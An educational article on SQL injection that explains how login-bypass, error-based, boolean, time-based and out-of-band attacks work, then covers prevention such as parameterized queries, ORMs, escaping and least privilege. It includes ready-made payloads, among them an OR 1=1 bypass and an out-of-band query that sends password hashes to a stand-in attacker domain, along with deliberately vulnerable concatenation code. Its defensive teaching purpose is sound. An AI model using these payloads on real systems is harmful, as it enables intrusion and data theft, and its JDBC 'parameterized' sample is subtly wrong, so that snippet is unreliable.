SQL Injection - SQL Queries, Working, Types, Tips to Prevent the Attack

One of the most vital components of information systems is the data. Web applications that are powered by database are used by the organization to collect data from customers. SQL stands for Structured Query Language. SQL retrieves and manipulates data in the database.

Let’s dive deep into SQL injection and learn more about it.

What is an SQL Injection?

SQL Injection is an injection attack in which an attacker can run malicious SQL statements (commonly known as a malicious payload) that control the database server (commonly referred to as a Relational Database Management System – RDBMS) of a web application. The SQL Injection vulnerability can affect any website or web application that uses the SQL-based database. It is one of the oldest as well as most prevalent and dangerous vulnerability as compared to other web application vulnerabilities.

When SQL Injection vulnerability is leveraged, an attacker has the ability to use it for bypassing the authentication and authorization mechanisms of a web application and recover the entire database’s content.

With SQL injection, an attacker gets unauthorized access to sensitive data that includes personally identifiable information (PII), customer data, trade secrets, intellectual property and other sensitive information.

What Are SQL Queries?

A standardized language that is used for accessing and manipulating databases to build customizable data views for each user is called as SQL. While the queries required for executing commands such as data retrieval, updates and record removal are called as SQL queries. These tasks are implemented by different SQL elements. For example, to retrieve data queries using the SELECT statement are used based on user-provided parameters.

Below is an example of a typical eStore’s SQL database query:

SELECT ItemName, ItemDescription FROM Item WHERE ItemNumber = ItemNumber With this, a string query is built by the web application and it is sent to the database as a single SQL statement: sql_query= ” SELECT ItemName, ItemDescription FROM Item WHERE ItemNumber = ” & Request.QueryString(“ItemID”)

A user-provided input http://www.estore.com/items/items.asp?itemid=999 can then generate the following SQL query:

SELECT ItemName, ItemDescription FROM Item WHERE ItemNumber = 999

This query provides the name and description for item number 999.

How SQL Injection Works?

There are different types of attacks that can be performed with SQL injection which vary based on the type of database engine. Dynamic SQL statements are the base of the attack. A statement generated at run time using parameters password from a web form or URI query string.

Below is a simple web application with a login form along with the code for the HTML form:

The email address, and password is accepted by the above form and then those are submitted to a PHP file named index.php.
You get an option to store the login session in a cookie. Here it is assumed from the remember_me checkbox. The post method is used by it to submit data. It means the values won’t be displayed in the URL.

If the statement at the backend for checking user ID is as follows:

SELECT * FROM users WHERE email = $_POST[’email’] AND password = md5($_POST[‘password’]);

HERE,

In the above statement, the values of the $_POST[] array are used directly without sanitizing them.
The MD5 algorithm is used to encrypt the password.

Let’s check the SQL injection attack using sqlfiddle. Open the URL http://sqlfiddle.com/ in your web browser. The below window will appear:

Note: You will need to write the SQL statements.

Step 1) Enter the below code in left pane:

CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values (‘m@m.com’,md5(‘abc’));

Step 2) Next, click on Build Schema.

Step 3) Enter the below code in right pane:
select * from users;

Step 4) Click Run SQL. You will see the following result:

Suppose user provides username as admin@admin.sys and password as 1234. Below is the statement to be executed against the database:

SELECT * FROM users WHERE email = ‘admin@admin.sys’ AND password = md5(‘1234’);

If the password part is commented out or a condition is appended that will always be true then the hacker can exploit the above code. If an attacker provides the below input in the email address field:

xxx@xxx.xxx’ OR 1 = 1 LIMIT 1 — ‘ ]

xxx for the password.

The dynamic statement generated will be as below:

SELECT * FROM users WHERE email = ‘xxx@xxx.xxx’ OR 1 = 1 LIMIT 1 — ‘ ] AND password = md5(‘1234’);

HERE,

xxx@xxx.xxx ends with a single quote which completes the string quote.
OR 1 = 1 LIMIT 1 is a condition that will always be true and limits the returned results to only one record.
— ‘ AND … is a SQL comment that eliminates the password part.

Copy the above SQL statement and paste it in SQL FiddleRun SQL Text box as shown below:

Types of SQL Injection Vulnerability

It is possible for the attackers to exfiltrate data from server by exploiting SQL Injection vulnerabilities in different ways. The commonly used methods include retrieving data depending on: conditions (true/false), errors and timing.

Below are the types of SQL Injection vulnerabilities:

Error-Based SQL Injection

When an error-based SQL Injection vulnerability is exploited, attackers can recover the information such as content from visible database errors and table names.

Error-Based SQL Injection Example:

https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

This Request Returned an Error

Duplicate entry ‘database1’ for key ‘group_key’

Similar method works for table names and content. When the error messages are disabled on production systems, it helps to prevent attackers from seeking such information.

Boolean-Based SQL Injection

Sometimes you won’t find a visible error message on the page when there is failure of an SQL query. This makes it difficult for the attacker to gather information from the vulnerable application. But, the attacker still has a way to extract the information.

When there is a failure of SQL query, it might happen that some parts of the web page disappear or change or the entire website might fail to load. These are some of the indicators that allow attackers to find whether the input parameter is weak and whether it allows extraction of data.

This can be tested by the attackers by inserting a condition into an SQL query:

https://example.com/index.php?id=1+AND+1=1

If the page loads normally, it might mean that it is vulnerable to an SQL Injection. An attacker typically tries to induce a false result using the below code to confirm:

https://example.com/index.php?id=1+AND+1=2

When the condition is false, if there is no result returned or the page works abnormally (for example, there would be missing text or a white page might be displayed), it can be an indication of that page being vulnerable to an SQL injection.

You can extract data in the below way:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+’5%’,true,false)

After this request is executed, the page should load normally, if the database version is 5.X. But, the page would load differently (for example, display an empty page) if the version is different, signifying the vulnerability to an SQL injection.

Time-Based SQL Injection

There are some cases in which there isn’t any visible effect seen of the vulnerable SQL query on the output of the page but the hacker can still extract the information from an underlying database.

Hackers instruct the database to wait (sleep) for a specific time span prior to responding to determine the way to gather information. In case the page isn’t vulnerable, it will load immediately and if it is vulnerable, it might take a long time to load. Due to this the hackers can extract the data, even if there are no changes seen on the page. The SQL syntax can be same as that used in the Boolean-Based SQL Injection Vulnerability.

But for setting a measurable sleep time, the ‘true’ function is modified to something which takes some time to execute. For example, ‘sleep(3)’ instructs the database to sleep for three seconds:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+’5%’,sleep(3),false)

If the page requires more time than usual to load, it is safe to assume that the database version is 5.X.

Out-of-Band SQL Injection Vulnerability

Sometimes an attacker can get the information from a database by only using out-of-band techniques. In this type of attack, the data is sent directly from the database server to a machine under the control of attacker. This method can be used by the attackers, if there is no direct injection after inserting the supplied data but at a later point in time.

Out-of-Band Example

https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat(‘\\\\’,(SELECT @@version),’example.com\\’)))

https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec(‘xp_fileexist ”\\’ + @pass + ‘.example.com\c$\boot.ini”’)

Here, a DNS request is made by the target to the attacker-owned domain, with the query result inside the sub domain. This indicates that an attacker doesn’t need to see the result of the injection, but can wait till a request is sent by the database server.

Impacts of SQL Injection Vulnerability

An attacker can do many things while exploiting an SQL injection on a vulnerable website. Basically, the web application used to connect to the database server is dependent on the user’s privileges.

An attacker can do the below things, by exploiting an SQL injection vulnerability:

Add, delete, edit or read content in the database.
Read source code from files on the database server.
Write files to the database server.

All this depends on the attacker’s capabilities but the exploitation of an SQL injection vulnerability might lead to a complete invasion of the database and web server.

Tips to Prevent an SQL Injection Vulnerability

You can protect your website from SQL Injection as below:

Parameterized Statements

Database drives are used by programming languages for connecting with SQL databases. An application receives a green signal from the driver to construct and run SQL statements against a database in order to extract and manipulate the data as required. With the use of parameterized statements, it is ensured that the parameters (inputs) that passed into SQL statements get treated safely.

For instance, you can run a SQL query in JDBC in a secure way by using a parameterized statement as below:

// Define which user we want to find. String email = “user@email.com”; // Connect to the database. Connection conn = DriverManager.getConnection(URL, USER, PASS); Statement stmt = conn.createStatement(); // Construct the SQL statement we want to run, specifying the parameter. String sql = “SELECT * FROM users WHERE email = ?”; // Run the query, passing the ’email’ parameter value… ResultSet results = stmt.executeQuery(sql, email); while (results.next()) { // …do something with the data returned. }

If you compare this to open construction of the SQL string, you will find it very dangerous:

// The user we want to find. String email = “user@email.com”; // Connect to the database. Connection conn = DriverManager.getConnection(URL, USER, PASS); Statement stmt = conn.createStatement(); // Bad, bad news! Don’t construct the query with string concatenation. String sql = “SELECT * FROM users WHERE email = ‘” + email + “‘”; // I have a bad feeling about this… ResultSet results = stmt.executeQuery(sql); while (results.next()) { // …oh look, we got hacked. }

You will find the difference in the data that is passed to the execute Query(…) method. In the previous case, the parameterized string and the parameters are seen to be passing separately to the database. This allows the driver to interpret them in a right way. While in the second case, the complete SQL statement gets constructed prior to the driver calling it. It means you are vulnerable to such malicious parameters.

Therefore, ensure that you always use parameterized statements where available. They are your best protection solution against SQL injection.

Object Relational Mapping

You will find use of Object Relational Mapping (ORM) frameworks by many development teams for seamless translation of SQL result sets into code objects. With the use of ORM tools, developers don’t need to always write the SQL statements in their code. Additionally, these tools use statements under the hood.

Ruby on Rails’ Active Record framework is the most popular ORM. When you fetch data from the database with the use of Active Record, it appears as below:

def current_user(email) # The ‘User’ object is an Active Record object, that has find methods # auto-magically generated by Rails. User.find_by_email(email) end

The above code is safe from SQL Injection attacks.

Remember just using an ORM does not automatically protects your website from the SQL injection. When you need to perform highly complex operations on the database, many ORM frameworks permit you to build SQL statements of fragments of SQL statements. Check the below example where Ruby code is vulnerable to injection attack:

def current_user(email) # This code would be vulnerable to a maliciously crafted email parameter. User.where(“email = ‘” + email + “‘”) end

Note: Make sure you think twice prior to using concatenating strings while writing SQL statements as they are highly vulnerable to SQL injection.

Escaping Inputs

Though you can’t use parameterized statements or a library that help you with writing SQL, you can ensure proper escaping of special string characters in input parameters.

If the attacker is able to design an input that closes the argument string prematurely in which the injection attacks appear in the SQL statement, there will be an SQL injection attack. So, you will find ‘ or ” characters in the attempted SQL injection attack.

Programming languages describe strings containing quotes within them in a standard way – SQL is the same thing.

When the quote character is doubled by replacing ‘ with “ it means “this quote is a part of the string, not the end of the string”.

When you escape symbol characters, it is a simple way to secure against most SQL injection attacks. There are many languages having standard functions to achieve this. But below are a couple of drawbacks to this approach:

It is important to be very careful while escaping characters everywhere in your codebase specially where an SQL statement is constructed.
All injection attacks don’t rely on abuse of quote characters. For instance, when a numeric ID is to be used in a SQL statement, quote characters aren’t required. Check the below code which is still vulnerable to injection attacks, even though you play with the quote characters:

def current_user(id) User.where(“id = ” + id) end

Sanitizing Inputs

It is a good practice for all applications to sanitize inputs. Many times users use suspicious passwords such as ‘ or 1=1- – which appear to be wrong.

It is the responsibility of the developers to take efforts to reject such suspicious inputs. But they should ensure not to accidentally punish legitimate users. For instance, parameters supplied in GET and POST requests may be cleaned by your application as below:

Check if the supplied fields like email addresses match a regular expression.
Make sure that there are no symbol characters used in the numeric or alphanumeric fields.
If whitespace or new line characters are not appropriate, reject or strip out them.

If it is validated from the client’s side then it becomes easy to give the user immediate feedback while filling the form. Scripts are used to perform most hack attempts instead of the browser itself.

Principle of Least Privilege

It is important for the applications to check that only the resources needed can be accessed and affected by each process or software component. “Levels of clearance” should be applied appropriately in a way that the access to the vault is limited to only some bank employees. You can mitigate the risk around injection attacks to a great extent by applying restricted privileges.

It is not always important that applications should change the database structure at run-time. While windows are released, tables get created, dropped, and modified with temporarily elevated permissions. Hence, for the application to just edit data rather than changing the table structures, it is always better to reduce the permissions of the application at runtime. In SQL database, it means ensuring that only DML statements can be executed by your production accounts and not the DDL statements.

You can make these permissions more fine-grained with the complex database designs. It is also possible to perform data edits only via stored procedures or to execute with read-only permissions by permissioning many processes
When access management is designed sensibly in this way, it can create a vital second line of defense. Though the attacker gets an access to your system, the type of damage that can be done can be mitigated easily.

Password Hashing

Many times the password is stored as a plain-text in the database. Storing password in an unencrypted manner is a vital security flaw. Applications should store the user passwords in the form of strong one-way hashes, if possible salted. This reduces the risk of credentials stealing or impersonating other users by malicious users.

Third Party Authentication

Many times complete out-sourcing the authentication workflow of your application is considered to be worth. Mature OAuth APIs are offered by Facebook, Twitter, and Google that can be used to allow users to log into your website with their existing accounts on those systems. It saves the work of rolling your own authentication of an application developer and guarantees your users that their passwords are stored at just a single location.

Conclusion

After reading this article, you must now have got an idea about the SQL injection attack. So, make sure you follow the preventive measures mentioned here to secure your website from this attack.

A Complete Guide to SQL Injection